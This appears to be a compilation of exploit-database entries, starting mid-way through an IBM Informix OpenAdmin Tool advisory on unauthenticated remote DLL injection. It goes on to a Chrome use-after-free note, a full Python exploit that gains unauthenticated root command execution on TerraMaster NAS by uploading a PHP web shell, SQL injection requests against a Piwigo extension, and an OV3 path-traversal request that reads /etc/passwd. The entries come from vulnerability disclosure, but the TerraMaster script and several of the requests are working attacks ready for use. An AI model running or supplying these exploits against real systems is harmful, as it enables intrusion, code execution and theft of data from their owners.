    if (isset($this->idsadmin->in['TENANT_DBOWNER']) && ($this->idsadmin->in['TENANT_DBOWNER'] == 1 || $this->idsadmin->in['TENANT_DBOWNER'] == 'true'))
    {
      if ($state == 3) {
        if ($internal) {
          return $statemessage;
        } else {
          $tdb=null;
          echo $statemessage;
          die();
        }
      }

      $sql = "SELECT COUNT(*) as nameexists "
           . "FROM sysadmin:ph_allow_list al, {$this->idsadmin->in['TENANT_DBNAME']}:sysusers su "
           . "WHERE al.name = '{$this->idsadmin->in['USERNAME']}' "
           . "AND al.name = su.username "
           . "AND su.usertype IN ('D','R') "
           . "AND al.perm_list LIKE '%tenant%';";

      try {

        $stmt = $tdb->query($sql,false,true);

        } catch (PDOException $e) {
          $err_code = $e->getCode();
          $err_msg = $e->getMessage();
          $statemessage = "{$this->idsadmin->lang('ConnectionFailed')} {$err_code}:{$err_msg}";
          if ($internal) {
          return $statemessage;
        } else {
          $tdb=null;
          echo $statemessage;
          die();
        }
        }

        $row = $stmt->fetch();
        $stmt->closeCursor();

        if ( $row['NAMEEXISTS'] == 0 ) {
          $statemessage = "{$this->idsadmin->lang('InsufficientPrivs')}";
        }

        if ($internal) {
        return $statemessage;
      } else {
        $tdb=null;
        echo $statemessage;
        die();
      }
    }
    $tdb=null;
    echo $statemessage;
    die();
  }
...
```

Let’s look into C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\lib\PDO_OAT.php

```
...
function __construct(&$idsadmin,$servername,$host,$port,$protocol,$dbname="sysmaster",$locale="",$envvars=null,$username="",$password="")
  {
    $this->idsadmin=&$idsadmin;
    $this->idsadmin->load_lang("database");
    $this->dbname = $dbname;
    $informixdir = $this->idsadmin->get_config("INFORMIXDIR");

    $dsn = self::getDSN($servername,$host,$port,$protocol,$informixdir,$dbname,$locale,$envvars); <---------------------- [***]

    putenv("INFORMIXCONTIME={$this->idsadmin->get_config("INFORMIXCONTIME",20)}");
    putenv("INFORMIXCONRETRY={$this->idsadmin->get_config("INFORMIXCONRETRY",3)}");

    parent::__construct($dsn,$username,utf8_decode($password)); <----------------------------------- [*****]
  }

static function getDSN ($servername,$host,$port,$protocol,$informixdir,$dbname="sysmaster",$locale="",$envvars=null)
  {
    $dsn = "informix:host={$host}"; <------------------------------------ [****]
    $dsn .= ";service={$port}";
    $dsn .= ";database={$dbname}";
    $dsn .= ";protocol={$protocol}";
    $dsn .= ";server={$servername}";

    if ( substr(PHP_OS,0,3) != "WIN" )
    {
      $libsuffix = (strtoupper(substr(PHP_OS,0,3)) == "DAR")? "dylib":"so";
      $dsn .= ";TRANSLATIONDLL={$informixdir}/lib/esql/igo4a304.".$libsuffix;
      $dsn .= ";Driver={$informixdir}/lib/cli/libifdmr.".$libsuffix.";";
    }

    if (!is_null($envvars) && $envvars != "" )
    {
      // add envvars to connection string
      $dsn .= ";$envvars";
    }

    if ( $locale != "" )
    {
      // CLIENT_LOCALE should always be UTF-8 version of databse locale
      $client_locale = substr($locale,0,strrpos($locale,".")) . ".UTF8";
      $dsn .= ";CLIENT_LOCALE={$client_locale};DB_LOCALE={$locale};";
    }

    return $dsn;
  }
...
```

At [***] the getDSN() function is called
At [****] and following various parameters are concatenated into a connection string without prior sanitization and set to $dsn
At [*****] the resulting connection string it’s passed to PDO::__construct(), resulting in the dll to be loaded instantly.

Remote DLL Injection that leads to remote code execution (2)
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.

By submitting a SOAP request to oliteService.php, specifying ex. the ‘canConnectToIDS‘ method, it is possible to inject arbitrary parameters into a
database connection string for the underlying Informix database.

It is possible to inject ex. the ‘TRANSLATIONDLL‘ parameter and, if this parameter points to a dll into an existing remote network
share, the dll will be injected into the remote Apache process. If malicious code is contained into the dll entry point, this will
be executed instantly.

Vulnerable code is located inside the getDBConnection() function of the underlying oliteServer.php PHP class, where connection parameters are concatenated without prior sanitization.

Vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\olite\oliteService.php


```
...
<?php
[..]

$ini = ini_set("soap.wsdl_cache_enabled","0");

require_once("oliteServer.php");

$server = new SoapServer("olite.wsdl");
$server->setClass("oliteServer");
if (isset($HTTP_RAW_POST_DATA))
  {
  $request = $HTTP_RAW_POST_DATA;
} else
  {
  $request = file_get_contents('php://input');
}

$server->handle($request);
?>
...
```

The SOAP interface can be interrogated without prior authentication, Let’s take a look into ‘canConnectToIDS‘ method inside
C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\olite\oliteServer.php


```
...
/**
   * Verify that a connection to the server can be made.
   * @return true if a new PDO can be created and server version is >= 11, false otherwise
   */
  function canConnectToIDS($server, $host, $port, $protocol, $username, $password, $lang="en_US")
  {
    $this->setOATLiteLang($lang);

    $sql = "SELECT DBINFO('version','major') AS vers FROM sysha_type ";
    $this->handlingPDOException = TRUE;
    try
    {
      $temp = $this->doDatabaseWork($sql, "sysmaster", $server, $host, $port, $protocol, $username, $password); <------------- [1]
      /* set handlingPDOException back to false in case this is used in a multi call */
      $this->handlingPDOException = FALSE;
    }
    catch(PDOException $e)
    {
      return array("canConnect" => false, "message" => $e->getMessage());
    }
    catch(Exception $e1)
    {
      //error_log("Could not connect, returning false");
      return array("canConnect" => false, "message" => $e1->getMessage());
    }
    //error_log(var_export($temp));
    //error_log("temp: " . var_export($temp[0]['VERS'], true));
    if($temp[0]['VERS'] < 11)
    {
      return array("canConnect" => false, "message" => $this->idsadmin->lang('ServerVersionLessThan11'));
    }
    else
    {
      return array("canConnect" => true, "message" => "");
    }
  }
...
```

$server, $host, $port, $protocol are received from the SOAP request and they are fully controlled;
at [1] doDatabaseWork() is called, then look:

```
...
/**
   * Runs query on specified database
   * @return array containing all selected records
   */
  private function doDatabaseWork($sel, $dbname="sysmaster", $serverName, $host, $port, $protocol, $user, $password,
  $timeout = 10, $exceptions=false, $locale=NULL)
  {
    $ret = array();
    if ( $this->useSameConnection == null )
    $db = $this->getDBConnection($dbname, $serverName, $host, $port, $protocol, $user, $password, $timeout, $locale); <--------------------- [2]
    else
    $db = $this->useSameConnection;

    while (1 == 1)
    {
      $stmt = $db->query($sel); // not required as this is using the PDO->query not the $idsadmin->db->query ,false,$exceptions,$locale);

      $err = $db->errorInfo();
      if ( $err[1] != 0 )
      {
        trigger_error("{$err[1]} - {$err[2]}",E_USER_ERROR);
      }

      while ($row = $stmt->fetch(PDO::FETCH_ASSOC) )
      {
        $ret[] = $row;
      }

      $err = $db->errorInfo();

      if ( $err[2] == 0 )
      {
        $stmt->closeCursor();
        break;
      }
      else
      {
        $err = "Error: {$err[2]} - {$err[1]}";
        $stmt->closeCursor();
        trigger_error($err,E_USER_ERROR);
        continue;
      }
    }
    return $ret;
  }
...
```

At [2] getDBConnection() is called with controlled parameters, finally look:


```
...
/**
   * Gets connection to specified database
   */
  function getDBConnection($dbname, $serverName, $host, $port, $protocol, $user, $password, $timeout = 10, $locale = null)
  {
    //$INFORMIXCONTIME=2;
    $INFORMIXCONRETRY=10;
    settype($timeout, 'integer');

    putenv("INFORMIXCONTIME={$timeout}");
    putenv("INFORMIXCONRETRY={$INFORMIXCONRETRY}");

    $dsn .= "informix:host={$host}"; <------------------------------------ [3]
    $dsn .= ";service={$port}"; <----------------------------------
    $dsn .= ";database={$dbname}"; <---------------------------------------
    $dsn .= ";protocol={$protocol}"; <----------------------------------
    $dsn .= ";server={$serverName}"; <-------------------------------
    $db = null;

    if(substr(PHP_OS,0,3) != "WIN")
    {
      $informixdir = $this->idsadmin->get_config("INFORMIXDIR");
      $libsuffix = (strtoupper(substr(PHP_OS,0,3)) == "DAR") ? "dylib" : "so";
      $dsn .= ";TRANSLATIONDLL={$informixdir}/lib/esql/igo4a304.".$libsuffix;
      $dsn .= ";Driver={$informixdir}/lib/cli/libifdmr.".$libsuffix.";";
    }

    if ( $locale != null )
    {
      $client_locale = substr($locale,0,strrpos($locale,".")) . ".UTF8";
      $dsn .= ";CLIENT_LOCALE={$client_locale};DB_LOCALE={$locale};";
    }

    if ( $this->handlingPDOException === FALSE )
    {
      try {
        $db = new PDO ("{$dsn}",$user,utf8_decode($password) ); <------------------------------- [4] boom!
      }
      catch ( PDOException $e )
      {
        //error_log(var_export ( $db->errorInfo() , true ) );
        //trigger_error($e->getMessage(),E_USER_ERROR);
        $exception = $this->parsePDOException($e->getMessage());
        throw new SoapFault("{$exception['code']}",$exception['message']);
      }
    }
    else
    {
      $db = new PDO ("{$dsn}",$user,$password);
    }
    return $db;
  }
...
```

At [3] a connection string is concatenated without prior sanitization, arbitrary parameters can be injected via ‘;’; ‘TRANSLATIONDLL’ and other dangerous parameters can be specified.

At [4], the resulting connection string is passed to the PDO object, causing the dll to be loaded before the authentication is performed.

Remote DLL Injection that leads to remote code execution (3)
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.

The specific flaw exists within two PHP scripts in OpenAdmin tool.

MACH11Server.php allows to insert a row into the underlying SQLite Database without prior authentication, by sending a specific SOAP request to MACH11Service.php and specifying the ‘addServerToCache‘ method.
pinger.php construct a connection string for the underlying Informix database, based on the row previously inserted. Given this it is possible to inject the ‘TRANSLATIONDLL‘ property into this connection string and to cause the Apache process to load the pointed dll from a remote network share controlled by the attacker.
vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\idsadmin\MACH11Server.php


```
...
  function addServerToCache ($group_num
                              , $host
                              , $port
                              , $server
                              , $idsprotocol
                              , $lat
                              , $lon
                              , $username
                              , $password
                              , $cluster_id
                              , $last_type )
  {

    $password = connections::encode_password($password);

    $query = "INSERT INTO connections   "
               . "        ( group_num       "
               . "        , host            "
               . "        , port            "
               . "        , server          "
               . "        , idsprotocol     "
               . "        , lat             "
               . "        , lon             "
               . "        , username        "
               . "        , password        "
               . "        , cluster_id      "
               . "        , last_type )     "
               . " VALUES (  {$group_num}   "
               . "        , '{$host}'       "
               . "        , '{$port}'       "
               . "        , '{$server}'     "
               . "        , '{$idsprotocol}'"
               . "        ,  {$lat}         "
               . "        ,  {$lon}         "
               . "        , '{$username}'   "
               . "        , '{$password}'   "
               . "        ,  {$cluster_id}  "
               . "        ,  {$last_type} ) ";

        $this->doDatabaseWork ( $query );
      return $this->db->lastInsertId ( );
        //return sqlite_last_insert_rowid ( $this->db );
  }
...
```

The previously empty ‘connections‘ table is populated with one row.

Let’s look at C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\lib\pinger.php

```
...
<?php
[..]

register_shutdown_function("shutdownHandler",$db);

ini_set("max_execution_time", -1);

#set the maxexecution time..
set_time_limit(-1);

ignore_user_abort(TRUE);

@header( 'Content-Type: image/gif' );
print base64_decode( 'R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==' );
ob_flush();

/**
 * pinger
 * get / update the status of each server in the connections db.
 */

# set the CONFDIR
define(CONFDIR,"../conf/");

require_once(CONFDIR."config.php");
$pinginterval=isset($CONF["PINGINTERVAL"]) ? $CONF["PINGINTERVAL"] : 300;

if ( ! isset($CONF['CONNDBDIR']) )
{
  // error_log("Please check config.php param CONNDBDIR - it doesnt seem to be set.");
  return;
}

if ( ! is_dir($CONF['CONNDBDIR']) )
{
  error_log("Please check config.php param CONNDBDIR - it doesnt seem to be set to a directory.");
  return;
}

$dbfile="{$CONF['CONNDBDIR']}/connections.db";

$informixdir=getenv("INFORMIXDIR");

if ( ! file_exists($dbfile) )
{
  // error_log("*** Cannot find connections.db - {$dbfile} ****");
  die();
}

unset($CONF);

# connect to the sqlite database.
$db = new PDO ("sqlite:{$dbfile}");
$db->setAttribute(PDO::ATTR_CASE,PDO::CASE_UPPER);

/**
 * lets get our last runtime and if we are running ..
 */

$qry  = "select lastrun , isrunning from pingerinfo";
$stmt = $db->query($qry);
$row  = $stmt->fetch(PDO::FETCH_ASSOC);
$stmt->closeCursor();

if ( $row['ISRUNNING'] > 0 )
{
   $timenow = time();
        if ( $timenow - $row['LASTRUN'] > 3000 )
        {
                error_log( "Reset pinger - should run next time ");
                $db->query("update pingerinfo set isrunning = 0");
        }

  /* we are already running so lets just quit now */
  die();
}

$timenow = time();
if ( $timenow - $row['LASTRUN'] < $pinginterval )
{
  // error_log( "no need to run "."Last: ".($timenow - $row['LAST'])." - {$pinginterval}" );
  die();
}

$db->query("update pingerinfo set isrunning = {$timenow} ");

// error_log ( "we better run "."Last: ".($timenow - $row['LAST'])." - {$pinginterval}" );

putenv("INFORMIXCONTIME=5");
putenv("INFORMIXCONRETRY=1");


/**
 * prepare the update string.
 */
$update = $db->prepare("update connections set lastpingtime=:now, laststatus=:state , laststatusmsg=:statemsg where conn_num = :conn_num");
$update2 = $db->prepare("update connections set lastpingtime=:now, laststatus=:state , laststatusmsg=:statemsg, lastonline=:lastonline where conn_num = :conn_num");

/**
 * we need to include the lib/connections.php
 * so we can access the password hooks functions.
 */

require_once 'connections.php';
/**
 * lets get all our defined connections.
 */
$sql = "select * from connections order by server";
$stmt = $db->query($sql);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);

$starttime=time();
$status = "Start Time: {$starttime}\n";

foreach ( $rows as $k=>$row )
{

  $now = time();
  $dsn = <<<EOF
informix:host={$row['HOST']};service={$row['PORT']};database=sysmaster;server={$row['SERVER']};protocol={$row['IDSPROTOCOL']}; //<---------------------- [1]
EOF;

  if ( substr(PHP_OS,0,3) != "WIN" )
  {
    $libsuffix = (strtoupper(substr(PHP_OS,0,3)) == "DAR")? "dylib":"so";
    $dsn .= ";TRANSLATIONDLL={$informixdir}/lib/esql/igo4a304.".$libsuffix;
    $dsn .= ";Driver={$informixdir}/lib/cli/libifdmr.".$libsuffix.";";
  }

  $statemessage="Online";
  $state=1;

  $user   = $row['USERNAME'];
  $passwd = connections::decode_password( $row['PASSWORD'] );


  try
  {
    $pingdb = new PDO($dsn,$user,utf8_decode($passwd)); <---------------------------------- [2]
  }
  catch(PDOException $e)
  {
    // error_log( $e->getMessage() );
    $message=preg_split("/:/",$e->getMessage());
    $statemessage= preg_replace("#\[.+\]#","",$message[1]);
    $statemessage.=" Last Online:".lastonlineconv($row['LASTONLINE']);
    $state=3;
  }
[..]
...
```

at [1] a connection string is concatenated with values taken from SQLite connection table. Arbitrary properties can be specified through “;”, leading to remote code
execution, when [2] the PDO object is instantiated.

Remote DLL Injection that leads to remote code execution (4)
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.

By contact the ‘adminapiService.php‘ SOAP interface and constructing a proper request to this endpoint, with the ‘createSBSpace‘ method specified, it possible to inject parameters into a connection string for the underlying Informix database.

vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\adminapi\adminapiService.php


```
...
<?php
[..]

    // turn of caching of the wsdl for now.
    $ini = ini_set("soap.wsdl_cache_enabled","0");

    // load our actual server.
    require_once("adminapiServer.php");

    //create our soapserver.
    $server = new SoapServer("adminapi.wsdl");

    $server->setClass("adminapiServer");
     if (isset($HTTP_RAW_POST_DATA)) {
        $request = $HTTP_RAW_POST_DATA;
    } else {
        $request = file_get_contents('php://input');
    }
    //error_log($request);
    //error_log(var_export($server,true));
    $server->handle($request);
?>
...
```

There is no check before handling request.

Let’s look into the createSBSpace() method from C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\adminapi\adminapiServer.php


```
...
function createSBSpace( $connectionObj,$dbsname,$path,$size,$offset
                             ,$mpath="",$moffset="" )
    {

        if (!dbsname)
        {
            throw new SoapFault("createSBSpace","missing param dbsname");
        }

        if (!path)
        {
            throw new SoapFault("createSBSpace","missing param path");
        }

        if (!size)
        {
            throw new SoapFault("createSBSpace","missing param size");
        }

        if (!offset)
        {
            throw new SoapFault("createSBSpace","missing param offset");
        }

        $qry = "execute function ".ADMIN_API_FUNCTION." ('create sbspace' ";
        $qry .= ",'{$dbsname}'";
        $qry .= ",'{$path}'";
        $qry .= ",'{$size}'";
        $qry .= ",'{$offset}'";

        if ( $mpath )
        {
            $qry .= ",'{$mpath}'";

            if ( $moffset )
            {
                $qry .= ",'{$moffset}'";
            }
        }

        $qry .= ")";

        return $this->doDatabaseWork($connectionObj,$qry); <----------------------- [1]
    } // end createSBSpace
...
```

at [1] doDatabaseWork() is called with a controlled $connectionObj parameter.

```
...
/**
     * doDatabaseWork
     *  connectionObj = the connection details.
     *  qry = the query to execute
     */
    function doDatabaseWork($connectionObj,$qry)
    {
        require_once("soapdb.php");

        $host       = $connectionObj->host;
        $port       = $connectionObj->port;
        $servername = $connectionObj->servername;
        $user       = $connectionObj->user;
        $pass       = $connectionObj->password;
        $protocol   = $connectionObj->protocol;
        $dbname     = "sysadmin";

        $db = new soapdb($host,$port,$servername,$protocol,$dbname,$user,$pass); <-------------------------------- [2]
        $stmt = $db->query($qry);

        while ($row = $stmt->fetch() )
        {
            $ret = implode("|",$row);
        }
        return $ret;
    } // end doDatabaseWork
...
```

At [2] the ‘soapdb‘ class is instantiated with controlled parameters

__construct() method from C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\adminapi\soapdb.php


```
...
/* function __construct
 * constructor
 */

      function __construct($host,$port,$servername,$protocol="onsoctcp",$dbname="sysmaster",$user="",$passwd="")
      {

  #$persist = array( PDO::ATTR_PERSISTENT => false);
  $persist = array( PDO::ATTR_PERSISTENT => true);
  putenv("INFORMIXCONTIME=3");
  putenv("INFORMIXCONRETRY=1");

$informixdir= getenv("INFORMIXDIR");
$dsn = <<<EOF
informix:host={$host};service={$port};database={$dbname};server={$servername};protocol={$protocol}; <------------------------------ [3]
EOF;

      try {
          parent::__construct($dsn,$user,utf8_decode($passwd),$persist); <---------------------------- [4]
      } catch(PDOException $e) {
               throw new SoapFault("Connection Failed:","DSN:{$dsn} ERROR:{$e->getMessage()}");
      }

      } #end ___construct
...
```

at [3] a connection string is concatenated with user-controlled parameters

at [4] PDO::__construct() is called, then the dll is loaded by the Apache process.
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1259

In JsRuntimeState::setCaller, it saves the current caller in the JsRuntimeState object(rcx+158h in 64-bit). But the garbage collector doesn't mark this saved value. So it results in a UAF.

Unlike in our test environment(Linux), it doesn't make reliable crashes on Windows. So I used another bug(#1258) to confirm the bug. If the UAF bug doesn't exist, the "crash" function will not be called(See poc.js).

The password of the zip file is "calleruaf"


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42092.zip
            
# Source: https://www.evilsocket.net/2017/05/30/Terramaster-NAS-Unauthenticated-RCE-as-root/

#!/usr/bin/python
# coding: utf8
#
# Exploit: Unauthenticated RCE as root.
# Vendor: TerraMaster
# Product: TOS <= 3.0.30 (running on every NAS)
# Author: Simone 'evilsocket' Margaritelli <evilsocket@protonmail.com> 
import sys
import requests
def upload( address, port, filename, path = '/usr/www/' ):
    url = "http://%s:%d/include/upload.php?targetDir=%s" % ( address, port, path )
    try:
        files = { 'file': open( filename, 'rb' ) }
        cookies = { 'kod_name': '1' } # LOL :D
        r = requests.post(url, files=files, cookies=cookies)
        if r.text != '{"jsonrpc" : "2.0", "result" : null, "id" : "id"}':
            print "! Unexpected response, exploit might not work:\n%s\n" % r.text
        return True
    except Exception as e:
        print "\n! ERROR: %s" % e
    return False
def rce( address, port, command ):
    with open( '/tmp/p.php', 'w+t' ) as fp:
        fp.write( "<?php system('%s'); ?>" % command )
    if upload( address, port, '/tmp/p.php' ) == True:
        try:
            url = "http://%s:%d/p.php" % ( address, port )
            return requests.get(url).text
        except Exception as e:
            print "\n! ERROR: %s" % e
    return None
if len(sys.argv) < 3:
    print "Usage: exploit.py <ip|hostname> <command> (port=8181)\n"
    quit()
target  = sys.argv[1]
command = sys.argv[2]
port    = 8181 if len(sys.argv) < 4 else int(sys.argv[3])
out = rce( target, port, command )
if out is not None:
    print out.strip()
            
# Exploit Title: Facetag Extension in Piwigo, Multiple SQL injection 
# Date: 30-05-2017
# Extension Version: 0.0.3
# Software Link: http://piwigo.org/basics/downloads
# Extension link : http://piwigo.org/ext/extension_view.php?eid=845
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps


######## Description ########
<!--
	What is Piwigo ?
	Piwigo is photo gallery software for the web, built by an active community of users and developers.Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and open source.

	Facetag Extension in piwigo.
	This plugin extends piwigo with the function to tag faces in pictures. It adds an additional button on photo pages that let you tag a face on the picture.
-->

######## Video PoC and Article ########

https://www.youtube.com/watch?v=MVCe_zYtFsQ
http://touhidshaikh.com/blog/poc/facetag-extension-piwigo-sqli/


######## Attact Description  ########
<!--

	Piwigo's Facetag Extention have multiple SQL injection.

	Facetag Extention provide additional button on photo page for visitor or user to tag any name oh that image.

	Affected Method : 1) facetag.changeTag
					 2) facetag.listTags

	1) facetag.changeTag
===>When we gave any tag name to photo, That time our request send by POST method to 
	server and directly interpret in server's database.Our POST request contain some perameter like (id,imageId,name etc)
	Affected parameter: imageId=

	2) facetag.listTags
===>When we visit any image on server. facetag.listTags method pass on ws.php file 		with imageId= parameter and fetch facetag name in json format. 
	Affectd parameter : imageId= 


NOTE : "www.test.touhid" this domain not registed on internet. This domain host in  touhid's local machine.
-->

######## Proof of Concept ########

Any visitor or registed user can perform this.


1) facetag.changeTag (Target parameter : imageId=14')
<!-- ---------------------OUR REQUEST ---------------------- -->

POST /ws.php?format=json&method=facetag.changeTag HTTP/1.1
Host: www.test.touhid
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.test.touhid/picture.php?/14/category/3
Content-Length: 93
Cookie: pwg_id=528jktu99quilhjjk6iapa1nv4
Connection: close
Pragma: no-cache
Cache-Control: no-cache

id=-1&imageId=14'&name=touhid&top=0.1280807957504735&left=0.5839646464646465&width=0&height=0

<!-- ---------------------Ends REQUEST facetag.changeTag ---------------------- -->

########### Response ############

<!-- --------------------- RESPONSE ---------------------- -->

HTTP/1.1 200 OK
Date: Tue, 30 May 2017 14:00:43 GMT
Server: Apache/2.4.25 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1097
Connection: close
Content-Type: text/plain; charset=utf-8

<pre><br />
<b>Warning</b>:  [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\', 15)' at line 1
INSERT IGNORE INTO piwigo_image_tag (`image_id`, `tag_id`) VALUES (14\', 15); in <b>/var/www/test/include/dblayer/functions_mysqli.inc.php</b> on line <b>845</b><br />
</pre><pre><br />
<b>Warning</b>:  [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\', 15, 0.1280807957504735, 0.5839646464646465, 0, 0) ON DUPLICATE KEY UPDATE `t' at line 1
INSERT INTO `piwigo_image_facetag` (`image_id`, `tag_id`, `top`, `left`, `width`, `height`) VALUES (14\', 15, 0.1280807957504735, 0.5839646464646465, 0, 0) ON DUPLICATE KEY UPDATE `top` = VALUES(`top`), `left` = VALUES(`left`), `width` = VALUES(`width`), `height` = VALUES(`height`); in <b>/var/www/test/include/dblayer/functions_mysqli.inc.php</b> on line <b>845</b><br />
</pre>{"stat":"ok","result":"{\"action\":\"INSERT\",\"id\":\"15\"}"}

<!-- --------------------- END RESPONSE ---------------------- -->



2) facetag.listTags (Target parameter : imageId=-1')

<!-- --------------------- OUR REQUEST ---------------------- -->
POST /ws.php?format=json&method=facetag.listTags HTTP/1.1
Host: www.test.touhid
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.test.touhid/picture.php?/14/category/3
Content-Length: 10
Cookie: pwg_id=528jktu99quilhjjk6iapa1nv4
Connection: close
Pragma: no-cache
Cache-Control: no-cache

imageId=-1'
<!-- --------------------- ENDs OUR REQUEST ---------------------- -->


########### Response ############
<!-- --------------------- RESPONSE ---------------------- -->
HTTP/1.1 200 OK
Date: Tue, 30 May 2017 14:10:32 GMT
Server: Apache/2.4.25 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1695
Connection: close
Content-Type: text/html; charset=UTF-8

<pre><br />
<b>Warning</b>:  [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\' AND EXISTS (SELECT 1 FROM piwigo_image_tag imgTag WHERE imgTag.`image_id` = i' at line 1
SELECT imgFaceTag.`tag_id`, imgFaceTag.`top`, imgFaceTag.`left`, imgFaceTag.`width`, imgFaceTag.`height`, tags.`name` FROM `piwigo_image_facetag` imgFaceTag , piwigo_tags tags WHERE imgFaceTag.`tag_id` = tags.`id` AND imgFaceTag.`image_id` = -1\' AND EXISTS (SELECT 1 FROM piwigo_image_tag imgTag WHERE imgTag.`image_id` = imgFaceTag.`image_id` AND imgTag.`tag_id` = imgFaceTag.`tag_id`); in <b>/var/www/test/include/dblayer/functions_mysqli.inc.php</b> on line <b>845</b><br />
</pre><br />
<b>Fatal error</b>:  Uncaught Error: Call to a member function fetch_assoc() on boolean in /var/www/test/include/dblayer/functions_mysqli.inc.php:226
Stack trace:
#0 /var/www/test/plugins/piwigo-facetag/include/ws_functions.inc.php(48): pwg_db_fetch_assoc(false)
#1 /var/www/test/plugins/piwigo-facetag/include/ws_functions.inc.php(43): queryResult2Array(false)
#2 /var/www/test/plugins/piwigo-facetag/include/ws_functions.inc.php(26): getImageFaceTags('-1\\'')
#3 /var/www/test/include/ws_core.inc.php(608): facetag_listTags(Array, Object(PwgServer))
#4 /var/www/test/include/ws_protocols/rest_handler.php(56): PwgServer->invoke('facetag.listTag...', Array)
#5 /var/www/test/include/ws_core.inc.php(296): PwgRestRequestHandler->handleRequest(Object(PwgServer))
#6 /var/www/test/ws.php(94): PwgServer->run()
#7 {main}
  thrown in <b>/var/www/test/include/dblayer/functions_mysqli.inc.php</b> on line <b>226</b><br />
<!-- --------------------- Ends RESPONSE here---------------------- -->
            
OV3 Online Administration 3.0 Parameter Traversal Arbitrary File Access PoC Exploit


Vendor: novaCapta Software & Consulting GmbH
Product web page: http://www.meacon.de
Affected version: 3.0

Summary: With the decision to use the OV3 as a platform for your data management,
the course is set for scalable, flexible and high-performance applications. Whether
you use the OV3 for your internal data management or use it for commercial business
applications such as shops, portals, etc. Thanks to the data-based structure of the
OV3, you always have the best tool at your fingertips. The OV3 is a 100% web-based
tool. This eliminates the need to install a new software on all participating client
computers. All elements are operated by a standard browser. Further advantages are
the location-dependent use and - particularly with ASP solutions - the reduced costs
for local hardware like own servers and modern client workstations.

Desc: The application (Online Verwaltung III) suffers from an unauthenticated file
disclosure vulnerability when input passed thru the 'file' parameter to 'download.php'
script is not properly verified before being used to include files. This can be exploited
to read arbitrary files from local resources with directory traversal attacks.

================================================================================
/download.php:
--------------

67: 	header("Expires: Mon, 1 Apr 1990 00:00:00 GMT");
68: 	header("Last-Modified: " . gmdate("D,d M YH:i:s") . " GMT");
69: 	/*
70: 	header("Cache-Control: no-cache, must-revalidate");
71: 	header("Pragma: no-cache");
72: 	*/
73: 	header("Pragma: "); 
74: 	header("Cache-Control: ");
75: 	header("Content-type: application/octet-stream");
76: 	header("Content-Type: application/force-download");
77: 	$dname = rawurlencode($name);
78: 	header("Content-Disposition: attachment; filename=\"$dname\";");
79:
80: 	if ($export==1) {
81:     	if (is_file($path.'/'.$file)) {
82:         	header('Content-Length: '.filesize($path.'/'.$file));
83:         	readfile($path.'/'.$file);
84:     	} elseif (is_file(utf8_decode($path.'/'.$file))) {
85:         	header('Content-Length: '.filesize(utf8_decode($path.'/'.$file)));
86:         	readfile(utf8_decode($path.'/'.$file));
87:     	}
88: 	}

================================================================================

Tested on: CentOS release 6.8 (Final)
           PHP/5.3.3
           Apache/2.2.15
           MySQL/5.0.11


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5410
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5410.php


26.12.2016

---


GET /download.php?c_id=557&file=../../../../../../../../../../../etc/passwd&name=download.txt HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: ZSL/3.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
DNT: 1
Connection: close

--

HTTP/1.1 200 OK
Date: Tue, 27 Dec 2016 12:24:10 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Expires: Mon, 1 Apr 1990 00:00:00 GMT
Last-Modified: Tue,27 Dec 201612:24:10 GMT
Pragma: 
Cache-Control: 
Content-Disposition: attachment; filename="download.txt";
Content-Length: 0
Connection: close
Content-Type: application/force-download

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
